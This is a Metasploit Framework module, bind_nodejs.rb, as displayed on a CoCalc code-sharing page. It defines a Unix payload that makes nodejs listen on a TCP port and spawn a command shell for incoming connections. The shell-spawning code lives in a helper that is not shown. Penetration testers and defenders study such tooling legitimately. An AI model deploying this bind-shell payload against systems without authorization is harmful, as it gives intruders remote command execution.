CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_nodejs.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 2239
10
11
include Msf::Payload::Single
12
include Msf::Payload::NodeJS
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Unix Command Shell, Bind TCP (via nodejs)',
18
'Description' => 'Continually listen for a connection and spawn a command shell via nodejs',
19
'Author' => 'joev',
20
'License' => MSF_LICENSE,
21
'Platform' => 'unix',
22
'Arch' => ARCH_CMD,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'cmd',
26
'RequiredCmd' => 'node',
27
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
28
))
29
end
30
31
def generate(_opts = {})
32
super + command_string
33
end
34
35
def command_string
36
nodejs_cmd(nodejs_bind_tcp)
37
end
38
end
39
40